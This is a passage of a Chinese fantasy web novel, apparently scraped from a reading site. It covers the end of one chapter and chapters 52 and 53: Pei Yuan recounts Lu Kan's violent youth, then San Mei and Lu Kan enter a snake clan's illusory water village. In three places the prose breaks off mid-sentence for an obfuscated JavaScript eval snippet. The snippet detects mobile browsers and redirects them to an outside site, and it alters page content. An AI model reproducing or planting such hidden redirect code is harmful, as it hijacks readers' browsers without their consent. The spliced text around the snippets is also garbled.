运了运气,裴元将心头的火气往下压了压,心想:不气不气,气死自己没人替! 他顺了顺自己胸膛,将手中的折扇嚯地一收,又气势十足地哗啦一展,轻轻地扇了起来。 “你就不想知道,陆在野以前是怎么样的?” 三枚抿了抿嘴,没吭声。 裴元却眼尖地捕捉到了她侧脸飞快地皱了一下。 从这几天的观察,他发现三枚只要口是心非了、或者撒谎不说实话的时候,她的小脸就会习惯性地皱一下。 嘴角一哼,裴元:就知道你拒绝不了一切有关陆在野的话题。 他故意慢悠悠地道:“我们学院有个规矩,山长为门下顺利出师的学子授衣时,还会给每人赐字。” 三枚挑眉,终于舍得将脸转向裴元:“赐字?” “对。”裴元将折扇一收,盘对坐下,道:“一字戒言。” “只给字,不注释,让学子们自己感悟去。” 三枚也跟着盘腿,坐到了他对面,一手撑着下巴,道:“陆衎也收到了?” 裴元:“当然,我和邢安然也收到了。” “邢安然的老师,原本给他取的表字为单字‘然’,后来山长赐字‘安’,然后他们师徒二人也不知道怎么叽歪的,直接把字给放在了自己的名字里,合成了‘安然’。” 点了点自己的脑袋,裴元道:“我后来猜啊,估计是邢安然的老师深知自己徒儿是个猪脑袋,怕他转头就忘,干脆直接给叫成他的名字。” 简直用心良苦。 “哦,是吗?”还没听见自己想听的,三枚回应得有些敷衍。 但对裴元来说足够了,他点头:“肯定是这样的。” “那陆衎呢?”以防他将重点放错,三枚只好自己将话题拉回来,主动问出自己感兴趣的。 她杏眸亮晶晶地看着裴元,问:“他收到的是哪一个字?” 裴元没有直接回答三枚的问题,他玩儿似的转着手中的折扇,“陆在野是我们青山书院开门收徒以来,最特殊的一个学子,因为他从山长的手里,不止收到了一个字。” “哦,你快说说。”三枚听得眼睛一亮,催促地道。 裴元龇了下牙,心想终于吊起你小子的胃口了,面上却严肃地道:“猴急啥!且听便是。” “我们青山学子接受山长授衣之前,还需进行最后一场考试,名曰授衣之试,只有夺下守关老师手中的旗帜,方能顺利出师。” 授衣试上,对招的陆衎和守关的老师攻守相较,你来我往对招精彩斐然。 然而却在下一秒,风云突变,対试氛围骤然变得剑拔弩张了起来,双方杀招频出,互不相让。 裴元后来听邢安然的转述,猜想可能是因为守关老师刻意刁难这个据说是学院最为优秀的学子,屡屡挑衅就为了逼出陆衎的杀招。 没想到还真让那个守关老师给逼出来了,但却想不到自己差点被陆衎一剑刺穿心脏。 “陆在野仿佛打红了眼,守关老师被打得连连后退,他却不懂点到而止,反而步步紧逼,利剑刺向守关老师心脏的时候,观试现场所有人,都以为陆衎会不顾一切置其死地。” 陆衎却不知为何,从癫狂中一下子就惊醒过来,手中的利剑转了个方向,刺向了守关老师抓在手中的旗帜。 火红的旗帜被深深地刺进地下,陆衎一言不发,弃剑离席而走。 裴元:“他们一甲的守关老师废了一只手,我们全院所有人都觉得陆衎这辈子是别想出师了,没想到山长了解情况后,却是没甚反应。” “陆在野如期出席了授衣式,山长也为他授衣了,只不过将原先写给陆在野的字,重换了一个。” 三枚眼睛瞪得老大,仿佛冒着火光,两只耳朵一动一动的。 陆衎,果然是个厉害的! 等半天见裴元突然不说了,一双桃花眼半眯着,也不知道神都跑哪儿去了。 屈指用力敲了敲船板,三枚蹙眉看着裴元问道:“换之前是什么字?后来又改成了哪个?” 裴元放眼望向远方淡淡的发着微光的鱼肚白,授衣那天好像也是这般天将大亮的清晨,空气冷飕飕的,风刮得人脸颊生疼。 他扭头看向后头陆衎所在的大船,淡声道:“缘。” “随缘的缘,缘由的缘,命运丝线的缘。” 缘? 三枚蹙眉,撑着下巴的手挠了挠脖子,接着又问:“然后呢?” “然后,然后就是授衣时,山长将那个缘字撕了,当场提笔写了另一个字。” “啧。”三枚不耐烦,感觉裴元也太轴了,说话怎么总是吐一句吞一句的,“你就不能痛快点?” “还是说,你根本就不知道,你们山长后来又给陆衎题了哪个字?” “我——”裴元被三枚的激将法激得满脸通红,用力锤了下船板,接着陡然泄气,底气不足地道:“我,确实不知。” “但是,”他抬手示意三枚稍安勿躁,“听说有人看见了,还跟邢安然那厮提了一嘴。” “可邢安然是个死脑筋啊,他听过就忘,一会儿说是个‘守’字,一会儿又说是个‘收’字。”裴元现在提起这茬还是愤愤不平,就跟有人专门在他心尖上挠痒痒似的,就是得不到正确答案。 他为此辗转反侧了好几个晚上。 “我好奇啊,搞不明白根本就睡不着!结果邢安然倒好,睡得比谁都香!” 裴元:“后来我也不让他纠结到底是哪个字了,只问他是谁跟说的,结果他也记不得了!他说他天生记不得人脸!” 气得他差点七窍升天! 恨不得将邢正的脑袋撕扒开的裴元,气完陡然冷静了下来。 他看着三枚,突然有些志得意满地道:“但我觉得吧,不管是守或者收,我都能理解到山长的深意。” “毕竟我脑袋好使啊。”他敲了敲自己的脑袋,道:“你看啊,陆在野单名一个‘衎’,是为刚直之意,而在野,又有放荡不羁、不受约束的意思。” 因为后来再见到陆在野的时候,他的手中居然学人盘起佛珠,身上还总带着一股淡淡的檀香,跟裴元太奶总爱念经祈福时专爱燃的香味道差不多。 “就跟邢安然将字改进名字里一样,陆在野拿着佛珠,时刻谨记收敛心性,守住理智,山长的深意,必是让他不要像野草荆棘一般,太外放、太肆意生长了。” 裴元说着,突然特别认真地看着三枚,低声道:“毕竟,陆在野他这人,从小就野上了天。” 三枚蹙眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081570|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听裴元神秘兮兮地问:“你知道,陆在野为什么会送到离家千万里的青山书院吗?” 三枚眨了眨眼,心想我怎么可能知道! 但她还是特别配合裴元,道:“为什么?” 裴元嘴角歪起一个邪笑:“都城当时有个三代单传的二世祖,平日招猫逗狗、不学无术,总爱点招惹是非。” “但他耍狠斗恶也只是在他们的圈子里,后来也不知道是真酒劲上头了呢,还是借酒装疯故意为之,竟然不知死活跑到西城福仙居,当着陆在野的面儿,调戏他那貌美如花的嫡亲阿姐。” “啧!肯定故意的!”三枚不用想也能猜出真相,有色心却怂人胆的贱-货,“陆衎应该狠狠教训了那人一顿吧?” “何止是教训!”裴元一拍大腿,“听说过奄奄一息这个成语吗?” “那货被抬到太医院的时候,已经差不多是有气出没气进的状态了。”说到这句话的时候,裴元的眼睛一动不动、紧紧地注视着三枚。 他说:“而陆在野当时,不过九岁孩童而已。” 陆衎活阎王的绰号,便是自那之后出现的。 “你说,这样一个暴戾、凶残、赶尽杀绝狠厉性格之人,是不是特别可怕?” 三枚眨了眨眼,突然问道:“那人死了吗?” 裴元:“没有。” “所以陆衎被送到了青山学院?”她又问。 裴元点头:“将他独身放逐在外,及冠前不许踏进都城半步,这是上头亲口给他下的惩戒。” “这样啊。”三枚听完,挠了挠头,歪着脑袋看着船板,半晌没有说话。 实在看不出她在想什么,裴元忍不住重复问道:“怎么样,你是不是也觉得陆在野特别可怕呀?” 三枚耸耸肩,“还好吧。” “那么,”裴元双手撑着船板,上身向三枚倾斜了一点点,“听了我的话之后,你是怎么看待陆在野这个人的?” “这个嘛,”三枚抠抠下巴,噘着嘴冥思苦想了一会儿,撩起眼皮看了裴元一眼,故意装傻:“我不知道。” 裴元:“不知道?你心里就没点想法?” “什么想法不想法的,”三枚转过头,故意看着湖面,“我都不知道你跟我说这么多是要干什么。” “我又不好奇。” 敢情刚才听得眼睛发亮、穷追不舍的不是你一样! 裴元前倾的身子慢慢坐正,眯着眼睛,悠悠地问:“你不知道我为什么跟你说这些?” 三枚摇头:“不知道。” “不知道我就告诉你,”见侧对着自己的小三枚,竖起了耳朵,裴元坏笑一声,突然对着她的耳朵大喝道:“就是为了告诉你,必须负责把陆在野丢失的佛珠找到!” “毕竟,当时他是为了救你这个因为落水哭哭啼啼、趴在他身上不放的旱鸭子,才落水把佛珠搞丢的!” 不把佛珠找回来,谁招架得住他这个阴晴不定的活阎王! 三枚嚯地转头,瞪他:“我劝你好好跟我说话,毕竟,你现在可是只身一人,就站在你最嫌弃不已的小渔船上。” 裴元不防她突然发难,侧头一看,二毛那死小孩居然对着自己举起了船桨,威胁地晃了晃。 不用看,他也知道这船上的几个臭小孩,包括那个见风使舵的小坂妹,一定是站在三枚那边的。 “你们这是想仗着人多势众,欺负我一介孤家寡人?” 三枚耸肩,“不服啊,你打我啊!” “你!”裴元气得折扇一抬,真就要打下去。 这时候,两人身后突然传来小坂妹的声音:“那个......” 吵架被蓦然打断,两人猛然转头,异口同声不满地吼道:“作甚?” 小坂妹身子一颤,弱弱地伸手往边上一指:“我们蛇族的水尾寨,到了。” 52. 第 52 章 “前面就是我们蛇族的水尾寨。” 三枚闻言,顺着小坂妹指的方向看去。 朝阳的第一缕金光已经从天上洒下了人间,清澈而静谧的镜湖水上,镀上了一层薄薄的霞光,闪闪发亮。 湖水之后,亦是一片连绵的、仿佛没有尽头的宽广水域,根本不见什么寨子。 “是我瞎了吗?我只看到了一片水汪汪,哪儿有寨子人烟?” “障眼法罢了。”三枚抬手,示意二毛等人停止划船。 她一边等着陆衎所乘的大船靠近,一边说道:“把眼睛用力闭上一会儿,接着再慢慢睁开。” 二毛和云丫简直无条件信任三枚,听了她的话,直接闭上了眼睛,因为用力,小脸挤得都变了形。 裴元见状,犹豫了一下,最终还是半信半疑地闭上了眼睛。 站在三枚身侧的小坂妹,抬头仰望这三枚,眼里流露着钦佩的神情。 “她真的好神奇,居然能一眼就能看出来老族长年轻时布设的幻境。”小坂妹心里咋舌不已,越发坚定了要跟着三枚学本事的想法。 三枚不知道小坂妹对跟定自己势在必得的决心,她的指腹抵着腕上的五铢钱,心里隐隐有些不得劲,至于原因,她暂时还没有头绪。 “怎么了吗?” 陆衎站在之夜带来的大船上,看着双眼紧闭的几个孩子和裴元,轻蹙眉头,对着三枚问道。 三枚仰起头看了他一眼,缓缓摇头:“我们现在已经进入了水上蛇族设置的幻境里,你让你的人将眼睛闭上,再睁眼时,便能看到修建在幻境之后的水尾寨。” 她的话音刚落,边上的裴元突然惊愕地喊了起来:“额啊啊!!” 他一边咋咋呼呼地大叫,一边手忙脚乱地连连后退,一下子就从二毛的小渔船弹射到了陆衎所在的大船上,连手中的折扇丢了都不知道。 “呃呃啊啊阿,雄黄酒!邢安然,快把船舱里老子买的雄黄酒拿来!”裴元嚎得声音都变了调,张牙舞爪、连滚带爬地窜进了船舱里。 傻乎乎还等着三枚让睁眼的二毛等人,听见裴元的吼叫声,吓得眼睛猛然一睁,瞬间就被一条盘桓在头顶的巨蟒吓得双腿发软,噗通一声倒了下去。 “啊啊啊啊!!!蛇!好大的一条蟒蛇!” 蟒蛇? 陆衎轻蹙的眉头越皱越深,想起三枚的话,他闭上眼睛后再睁眼。 随之出现的,是一堵高达七米的、十分宏伟壮观的古老城墙。 城墙修建在水面之上,是用红色砂岩建成,外观犹如铜墙铁壁。 墙面上的斑驳痕迹,却似历经时代迁徙、抵御外敌时凿刻上去的荣誉勋章,无处不显示着它的伟大和坚韧。 固若金汤的背后,尽是疮痍满目。 就在这面足以震慑人心的古老城墙之上,竟盘旋着一条巨型的、面目狰狞的血蟒。 陆衎眯眼仔细一看,发现那血蟒并非活物,看起来更像是用好几块岩石雕刻后拼凑而成的雕像。 概因雕工了得,让这血蟒看起来栩栩如生,令人望而生畏。 小坂妹看着面无表情、一点没被吓到的陆衎,心想:这也是狠人! “这蛇是假的哈,用石头雕刻的,你们不用怕的。”她好心跟吓得脸色苍白的云丫几人道。 相处了几个时辰,小坂妹心里已经没有那么害怕她们了。 安抚完几个大哥哥大姐姐,她看着三枚,弱弱地道:“咱得换艘船才行。” 说完将手放在嘴边,小坂妹小小声地吹了个口哨。 过了一会儿,从城墙的另一边,忽而慢慢地驶出了一艘船篷低矮、船身狭小的乌篷船。 撑船的,是个看起来跟小坂妹差不多体型的小孩,模样大概也是八九岁的样子。 小坂妹手伸的老长,比划着他们蛇族独有的手势暗语。 “贵人来也,切勿妄言。” 三枚挑眉,心里暗笑,却并未当场戳破。 不知道暗语已被三枚识穿的小坂妹,侧头看着三枚,轻声跟她解释道:“我们寨子里来去用的都是这样式的乌篷船,如果突然出现一艘不一样的船,势必惹人注目。” 三枚点头:“我知道。” 她转身,抬头看着另一艘船上的陆衎,道:“石春华还留在你的船上,我先进去探探路,你带着人在外头等我。” “半个时辰后,我若是还没出来,就将我先前给你的那枚五铢钱,用锤子直接钉进这面城墙。” 到时候,管他是铜墙铁壁还是刀枪不入,都得给我分崩离析、烂成碎渣! 陆衎闻言,没有点头也没有拒绝,他掌心紧紧握着那枚五铢钱,一言不发地看了三枚一会儿,忽的扭头就走。 三枚:啧,这时候耍什么脾气! 小坂妹看不懂流动在这两人之间的紧张气流,吞了吞口水,她扯了扯三枚的衣袖,指着乌篷船上的小伙伴道:“这是我阿妹,小屋子。” 小屋子鼻下挂着两行亮晶晶的鼻涕,努力吭哧吭哧地划着船,刚一靠近三枚她们的小渔船,吸了下鼻子,奶声奶气地嘟哝道:“阿姐呀,你不说出去闯天下去了吗?怎么这么快回来?” 她歪着脑袋,伸手从袖子里抓了条小鱼干,一边塞进嘴里,一边好奇地看着三枚她们,叨叨个不停:“天下这么小,才一个晚上就让你闯完了?” “啊呀,这几个大哥哥大姐姐,就是你从天下带回来的,能让咱们寨子里的人上岸住在陆地上、永远活在太阳底下的大贵人?” 小坂妹嘴角一抽:得,刚才的手势算是白比了! 三枚眨眨眼:这孩子是个大漏勺! 小屋子一来,小坂妹立马端起了大姐头的架势,她板着脸,故意压着嗓门说话:“小屋子,你莫要胡言!” “没吃饭吗?划个船磨磨唧唧、磨磨蹭蹭的,还不快点过来!” 小屋子又塞了一把小鱼干到嘴里,鼓着腮帮子含糊不清地道:“这样早,我上哪儿次饭饭去!” “窝一整晚没碎守在墙边,就怕你反悔回来没人给你开门。”她嘟嘟哝哝,使劲将乌篷船一撑,嘴巴依旧念个不停,“你上哪儿找像我这么可靠的妹子去!” “啊呀呀,我的耳朵!” 乌篷船一靠近,小坂妹跨过去后,二话不说直接上手揪住了小屋子的耳朵,“咋地,你意见还挺多啊!” 小屋子吃痛,小脸立马皱成了疙瘩,将手里的划桨甩手一扔,身子熟练地向后一扭,将耳朵顺利从魔爪里解救出来后,使劲地揉啊揉的。 眼见自家阿姐还要追上来打,她吓得立马窜进乌篷里,跑到船尾,趁人不注意跳上了小渔船,连滚带爬地躲到了云丫的身边。 “大姐姐,救我!” 没想到云丫是个冷血的,将人无情推开,嫌弃地道:“去去去,别把鼻涕抹我衣裳上。” “哎哟。”小屋子戏又多又足,被云丫轻轻一推,顺势就倒了下去,接着像个滚轮一般咕噜噜滚到了三枚的脚下。 见三枚挑眉看着自己,她嘿嘿一笑,“哈呀,我记得您。” 三枚弯腰,将小屋子从地上扶了起来,“哦,那你说说,我是谁?” “你是——” “小屋子!”小坂妹站在乌篷船上大喝道。 小屋子吐了吐舌头,拍了拍身子,又从袖子里抓了一把小鱼干,问三枚:“你吃吗?” “我不吃。”三枚摇头。 她看向小坂妹,“走吧,别耽误工夫了。” 看了眼边上的大船,依旧不见陆衎的身影,三枚收回视线,对着自上了渔船便一直缩在角落、沉默不语的兰哥道:“你,跟上。” “二毛和云丫几个留下,守着渔船,有事没事听陆衎指挥,切忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101407|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擅自行动。” 兰哥闻言,立马站了起来,路过云丫身边时,听见她特别不服气地哼了一声。 但他只是不轻不重地看了云丫一眼,什么都没说,几步略过人走到了三枚的身边。 云丫紧跟几步,走到三枚身前,问道:“就在这儿干等着?会不会太扎眼了?寨子里突然有人出来怎么办?” 小坂妹连忙道:“其实我们一般不走这大门,都是从侧边的偏门进出,而且我们除了外出采买,平日并不经常出门。所以你们不用担心在这里会遇见我们寨子里的人。” 三枚看着云丫:“不用怕,你们在这里转悠,他们也只可能以为你们是被幻境里迷惑失了方向,所以徘徊在这里,反而比较安全。” “或者,你们先回去?让陆衎他们的船......” 听见三枚要让自己回去,云丫急得连她的话都没听完,打断道:“我们就在这里等,哪儿也不去。” 三枚:“......行吧。” 三枚只当云丫她们是一群远离故乡没有安全感、有点粘人的孩子。 二毛有些担忧地走到三枚身前:“这样好吗?她们都......”不算是自己人,三枚阿姐你又不会水,到时被坑了怎么办? “我们这边还是跟一个人过去吧?”二毛背在身后的手,朝云丫挥了挥。 云丫见状只是撇了撇嘴,她知道三枚一定不会答应让自己跟着的。 果然,就听三枚沉声道:“不行。” 她也不解释,直接一步跨到了乌篷船里,对着另一边的大船,喊道:“八耳!” 等了一会儿,也不见八耳的踪影,三枚有些气闷,正想严厉地呼喝一声,就见陆衎一手提着她的锁魂箱,一手揪着八耳的鸡翅膀,一个飞跃,如谪仙降落人间一般,轻轻巧巧、稳稳当当地站到了乌篷船上。 三枚愣愣地看着他把锁魂箱放到自己的面前,又一言不发地将八耳“咚”的一声,扔到了锁魂箱上,然后转身,弯腰穿过了黑色的竹篾篷,背对着自己,站到了乌篷船的另一端。 八耳那样大气性、又特别目中无人的一只鸡,被陆衎如此轻慢地对待,竟然连吭一声都没有,安安静静地躺在锁魂箱上。 它一双豆豆眼咕噜噜地转着,忽而看向三枚,不大的充满了好奇:“你俩吵架啦?” “你——”三枚无语凝噎,嘴角却莫名往上一翘,不知道说什么好。 她挠了挠下吧,莫名觉得陆衎这家伙,意外的黏人啊! “要不,就让他跟着吧?”小坂妹实在没敢想象,若是三枚非要让陆衎下船的画面。 她觉得,如果这气场强大的两人吵起来的话,在场有一个算一个,估计都要阵亡,而她家的小小乌篷船和夹在两人中间的自己,第一个遭殃。 小坂妹觑着三枚的眼色,见她没说话,脸上神情看着还挺晴朗,连忙给呆呆嚼着小鱼干的小屋子使了个眼色。 小屋子眨了眨眼,将小鱼干一把塞进嘴里,“来咯!” 她啊呜一声跳回乌篷船,抓起船桨,特别开朗地大声吆喝道:“走咯!” 站在小渔船上目睹一切的云丫几人,目瞪口呆地看着乌篷船,就那样慢慢消失在自己的视线里。 云丫一脸懊恼:早知道,我也使点小性子了! 王小花和鱼儿对视一眼,不知道想到什么,突然偷腥的猫似的笑了起来。 成小胖捡起小屋子掉在船上的小鱼干,趁着没人注意,偷偷咬了一口,眼睛蓦然一亮:美味! 默默回去摇桨撸的二毛,挠了挠头,问云丫:“陆少卿大哥跟着三枚阿姐走了,那咱接下来,听谁的指挥?” 就在这时裴元双手提着满满一桶雄黄酒,气势冲冲地从船舱里冲了出来。 他凶神恶煞地瞪着盘桓在城墙上的巨蟒,豪气云天地道:“当时是听我指挥啦!” 53. 第 53 章 乌篷船内,三枚双手环胸,一动不动地盯着对面憋屈地曲腿坐着的陆衎。 “说了不让跟不让跟,你硬要跟。” 这下好了吧,人高马大、漂漂亮亮一个好人儿,弯腰缩腿躲在在这样一个窄小、憋闷的乌篷船内,看起来也太可怜了吧。 三枚单看着就觉得不舒服。 陆衎却面无表情,不动声色地观察着建在墙内的水尾寨。 与城墙一般,水尾寨里的所有房屋,都是建在水上的小木屋,乍眼看去,像是悬挂在水面上的一样,给人一种非常奇妙的感觉。 乌篷船慢慢地在水上滑行,沿途你可以看到许多的山岩和茂密的树木。 水尾寨的清晨非常安静,周围只有微弱的流水浮动的声音和三三两两的鸟鸣声。 温和的阳光透过清凌凌的水面,洒下一片淡淡的闪着星点的金黄,给这个看起来本就有点神秘的寨子,增添了一种岁月静好的美感。 “别看了,都是假的。”三枚突然说道。 她看着外头任劳任怨努力撑船的小屋子,和站在边上窸窸窣窣说个不停的小坂妹,点了点锁魂箱,道:“一双双咕噜噜的大眼睛,正盯着我们看呢。” 不管是木屋里的,还是躲在水底下的。 “是通过味道和温度来判断的吧。”陆衎将视线从外头收回来,与三枚对视一眼,压低声音道:“寨子里的空气的味道,明显跟在墙外不一样。” 好像潮湿气更重,带着淡淡的咸味。 “而且耳边偶尔会听见微弱的嘶嘶声,像蛇吐蛇信子的声音。” 三枚现在对陆衎的敏锐直觉和锐利感知,已经不怎么感到惊讶了。 她微微点了下头,懒懒地伸了个腰,一手撑着下巴,手背自然地遮挡住半边嘴巴,接下来和陆衎的对话,几乎是用气音在说的。 “刚才在城墙那边的时候,我就觉得不对劲。” 那样高、那样阔,又那样厚重的城墙,水下除了几节粗木棍,好像没看见其他什么支撑。 加上墙上盘旋了那么大一条的石雕血蟒,竟然一点不见下沉。 可能吗? 后来坐上小屋子的乌篷船,绕着那古墙划过,三枚心里便明白了。 “那块巨型血蟒的石雕,完全空心的。” 陆衎缩着的长腿有些发麻,稍稍往前一伸,停在了三枚的脚边。 他看了眼无知无觉的三枚,鞋头碰了碰她的,须臾才道:“所以,里面全是空的?” 不想三枚却摇了摇头,“那石雕,就是个明晃晃的、巨大蛇窝。” 她就说以裴元那样咋呼闹腾的性格,能和陆衎做朋友,肯定有其过人之处,绝不可能连真蛇假蛇都分不清。 即便是那巨蟒石雕,逼真到能以假乱真,他还能被那石雕做的蛇给吓到屁滚尿流、大失方寸? 不能!所以,其中必有蹊跷! 陆衎:“所以,在水底撑着那面古墙的,也是一群蛇?” 那得有多少,才足够撑起那么沉重的城墙? 三枚:“是,也不是,具体的端倪,我暂时没能瞧出来。” “我之所以能注意到这些,”她轻轻晃了下手腕,“下一它,太兴奋了。” 蛇类这种冷血动物,特别能激起五铢钱的亢奋。 “下一?”陆衎挑眉,“你连腕上的五铢钱,都给起了名字?” 他睨了一眼锁魂箱上的八耳,眼尾笑意盈盈。 也是,连只小小的稚鸡都有专门的名字,也不怪乎几枚五铢钱,也有专属的称呼。 八耳摊睡在锁魂箱上,鸡爪朝天,睡得人事不知。 “嗯啊。”三枚眨了眨眼,忽而一脸恍然,“我好像忘了跟你介绍了。” 说着她也不遮着嘴巴了,直接坐到了陆衎的身边,抬起她的手,袖子轻轻往上一拉,露出了白皙的、骨干的手腕,和串在腕上红绳上的两枚五铢钱。 “瞧!”她指着红绳上最小的一枚五铢钱,道:“这就是下一,最小巧。” 陆衎垂眸看她,见她忽闪忽闪的杏眸里,全是骄傲和得意,嘴角的笑意越发深了。 他在三枚的注视下,食指指腹轻轻地碰了碰那枚五铢钱,温声道:“我记住了。” “嘿,它还挺喜欢你,被你触碰到,居然一点反应都没有。” 陆衎看着三枚的眼睛,道:“是吗?” “没错。”三枚点头,指腹托起另一枚略微暗红的五铢钱,“这是中二,只有它会泛红。” “嗯。”陆衎照旧碰了下那枚铜板。 三枚这次却没再说什么了,她的视线突然越过陆衎,看着外头开始打手语的小坂妹。 “嘘!让我好好瞧瞧,这俩丫头闹什么呢?” 乌篷船的船头。 小坂妹抹掉鬓边不断下淌的汗水,垂在身侧的手不断比划着。 “小文呢?是不是被关在水牢里了?今天是老祖宗让你来的?” 小屋子摆摆手,单手比划:“我什么都不知道呢。” 小坂妹:“你信不信我一巴掌抽死你?敢对我撒谎!” 小屋子跺脚:“真的!我昨儿傍晚躺城墙巨蟒上晒太阳呢,突然人薅下来。” “他们什么都没说,就让我撑着船守在偏门那儿。结果我等了一晚儿,啥都没等来,又不敢私自离开,我都快困死了!” 小屋子揉了揉脖子,“累得半梦半醒间,被你一个口哨声惊醒,我才试探地撑船去接你的。” “你别以为我能被你三言两语给忽悠住!”小坂妹手指狠狠戳在小屋子的额头,“咱俩是亲姐妹,我没害过你,你也不许联合族里的人设计我!” “真的没有!我发誓!”小屋子手里的划桨,猛然朝水里用力一划,“我甚至到现在,都不知道你要我撑着船到哪里去。” “我就知道你和老祖宗俩人又在斗法怄气,葫芦里不定又在搞什么鬼。” 掺和进你俩的事里准没好果子吃! 这不,一个老头,将自己薅到乌篷船上,丢到古墙那儿就不管不顾,让自己挨饿受冻了一整晚,好不可怜! 小屋子越说越委屈,嘟嘟哝哝,“到了你这儿,更惨!先是打,后又骂,你们也忒欺负人了!” “少装!你不说是吧,行。”小坂妹瞪着小屋子,“把船开到祠堂那边,我带他们直接去见老祖宗。” 小屋子拧眉,划桨夹在腋窝下,手指飞快地比划着:“现在?话说你身上为什么味道不一样,蛇尾圆雕不在你身上吗?你将人带进寨子里来,你想过可能会发生的后果吗?” 看这家伙转移话题的生硬程度,心虚狠了吧! 哼,非要让你好看。 小坂妹故意将脚重重抬起,却是轻轻放下,跺脚跺得特别滑稽。 “别多话!我自有分寸,你听我的把船开到祠堂那儿就行!” “啊呀!”小屋子拧不过她,气得一扭身,嘴里愤愤道:“真是欠了你的!” 明明才几岁的小孩,说话奶声奶气,却操着一口长辈对熊孩子特别无奈妥协的口气。 三枚看得津津有味,指腹划过五铢钱,“啧,那群冷血的畜生,开始躁动了。” 他忽而用气音,在陆衎的耳边说道。 鼻尖瞬间飘过一阵清香,陆衎眨了下眼,发现三枚脑袋几乎搁在自己的肩上,正一脸严肃地看着外头那两姐妹。 他微微侧过脸,三枚头上的总是有点炸的小卷毛,仿佛轻羽一般拂过他的脸颊,有些痒痒的。 带着熟悉的温热的电流,激得他心尖微微一麻。 喉结缓慢的滚动了一下,陆衎抬手,轻轻捏住了那搓小卷毛,捻在手里轻轻地揉了揉。 唇线不可抑制往上一扬,他不觉喃喃出声:“果然,跟云絨身上的毛发,一样柔软。” 再看三枚的粉色的小巧耳朵,好似飞快地动了一下,陆衎松开手上捻着的小卷毛,指腹刚要碰上那小耳朵。 三枚的脑袋却“嚯”地向后一仰,眨眼便远离了自己。 “你说什么?”三枚似乎没有发现陆衎的小动作,只听到他声音特别低哑地说了一句什么。 然而他的声音太低沉了,她好似只感到了嗡嗡的震动声,却听不清内容。 陆衎不知何时背到身后的手,轻轻一握,他面不改色地道:“我说,你刚才说什么?我没听明白。” 是吗?怎么觉得对不太上啊。 三枚半信半疑地看了陆衎一眼,低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116963|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假装关心了八耳一下,轻轻地拍了下它的肚皮,想了想还是给陆衎解释一遍。 “咱坐的这乌篷船,看似在徐徐向前行驶着,但你注意看,那个叫做小屋子的丫头,手里抓着的划桨,却是有一下没一下地乱撑,根本不像会划船的人。” “这船啊,全靠底下的长虫在控制呢。” 长虫在水底,并且推动乌篷船的移动? 陆衎也向锁魂箱倾下身,佯装伸手去摸呼呼大睡的小八耳,实则侧着耳朵,仔细听着底下的水流声。 “嘶嘶,嘶嘶。” 微弱的蛇吐信子的声音,逐渐变得清晰起来。 “眧州那些少女,就死在这个水尾寨里吗?”陆衎突然问道。 他忽然想起邢正跟自己提过一嘴,二毛他们与水都那群孩子之间的恩怨。 当时小坂妹被兰哥摁在水里,嘴里骂着让她“填喂水神,镇守水都”的狠话。 陆衎不知为何,在这个时候竟将这样两件毫不相干的事联系了起来。 他面不改色,越想,越觉得两者之间,必有关联。 那群少女,最后到底是因断臂失血而亡,还是被当做食物,被填喂进了谁的肚子? 三枚看着近在眼前的陆衎,明明他的眼里波澜不惊,甚至冷眼锋利充满煞气,她却从他的深邃的、仿佛黑洞般幽暗的双眸里,看到了淡淡的哀忧。 她情不自禁抬起一只手,轻轻地抚上了陆衎的左脸。 陆衎一愣,抬眸呆呆地看着三枚。 “你——” “我——” 两人不约而同开口,又同时停住,四目相对,气息交错,流淌在两人之间的气流,突然变得有些不一样了起来。 三枚觉得气氛有些不自然,想说点什么转换气氛,陆衎却将大掌覆在了她的手上。 咕咚一声,三枚的眼睛莫名瞪大,快速地眨了两下。 陆衎忽而垂眸一笑,在心底酝酿斟酌了片刻,薄唇微张,刚想开口说话,此时船底却猛然一震。 剧烈的晃动,差点将毫无设防的两人甩飞出去。 陆衎眼疾手快将三枚拦在怀里,翻倒在船肚时,抬眼往外一望,船头的小坂妹和小屋子早已不见了影踪。 乌篷船还在剧烈震动,像是有东西在船底拽着船飞速前行,刮起的风呼呼作响。 陷入沉睡的水尾寨,此刻像是彻底从静谧中清醒过来,陆陆续续传来“吱呀、咿呀”的开门声。 微弱的水流声,波动也渐渐大了起来。 陆衎轻蹙眉头,与脸色煞黑的三枚对视一眼,揽在她肩上的指尖动了动。 三枚被陆衎指尖划过的地方蓦然发痒,读懂了他在肩上写的字后,将身子一扭,手脚并用如箭在弦朝船尾一窜,中途将八耳抛给了陆衎。 